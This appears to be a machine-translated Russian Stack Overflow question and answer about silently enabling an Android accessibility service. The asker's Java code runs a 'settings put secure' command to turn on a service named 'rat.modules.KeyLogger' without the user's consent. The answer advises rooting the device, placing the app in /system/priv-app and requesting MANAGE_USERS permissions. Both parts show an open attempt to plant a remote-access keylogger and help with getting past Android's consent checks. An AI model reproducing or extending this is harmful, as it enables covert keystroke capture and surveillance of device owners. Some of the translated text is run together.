Включение моего приложения для самостоятельного получения разрешений - PullRequest
0 голосов
/ 01 марта 2019

Я пытаюсь обойти Android Security и разрешить моему приложению получать разрешения на специальные возможности, не прося пользователя сделать это.
При поиске в StackOverflow я обнаружил, что это возможно, нажмите здесь , чтобы увидетьиспользуя InstrumentationRegistry, однако этот класс теперь устарел, и поэтому я начал использовать класс Process и запустил метод, который вы видите выше:

String packageName = "com.example.rat";
String serviceName = packageName+"/"+"rat.modules.KeyLogger";
String service = "enabled_accessibility_services";
String cmd = "settings put secure "+service+" "+serviceName;
System.out.println("Command: "+cmd);
Scanner s = new Scanner(cmd);
s.useDelimiter(" ");
Process p = Runtime.getRuntime().exec(new String[]{s.next(),s.next(),s.next(),s.next(),s.next()});
String error = "";
String line = "";
BufferedReader br = new BufferedReader(new InputStreamReader(p.getErrorStream()));
while ((line = br.readLine()) != null) {
    error += line;
}
System.out.println("Response: "+error);

Ошибка, которую я получаю из ранее показанногокод здесь:

Исключение безопасности: вам нужно либо разрешение MANAGE_USERS, либо CREATE_USERS для запроса запроса userjava.lang.SecurityException: вам необходимо разрешение MANAGE_USERS или CREATE_USERS для запроса пользователя на com.android.server.pm.UserManagerService.checkManageOrCreateUsersPermission (UserManagerService.java:1854) в com.android.server.pm.UserManagerService.getUserInfo (UserManagerService.java:1039) в android.os.UserManager.getMand.ava6) at (.providers.settings.SettingsService $ MyShellCommand.onCommand (SettingsService.java:273) в android.os.ShellCommand.exec (ShellCommand.java:96) в com.android.providers.settings.SettingsService.onShellCommand (SettingsService.java:51) в android.os.Binder.shellCommand (связыватель).java: 581) на android.os.Binder.onTransact (Binder.java:481) на android.os.Binder.execTransact (Binder.java:682)

Есть ли в любом случае, чтобы обойти его?Я открыт для любых идей.

1 Ответ

0 голосов
/ 01 марта 2019

Только системные приложения могут использовать это разрешение.Если ваш телефон рутирован, переместите ваше приложение в папку / system / priv-app. Необходимые разрешения:

<uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" />

и

<uses-permission android:name="android.permission.MANAGE_USERS" />
...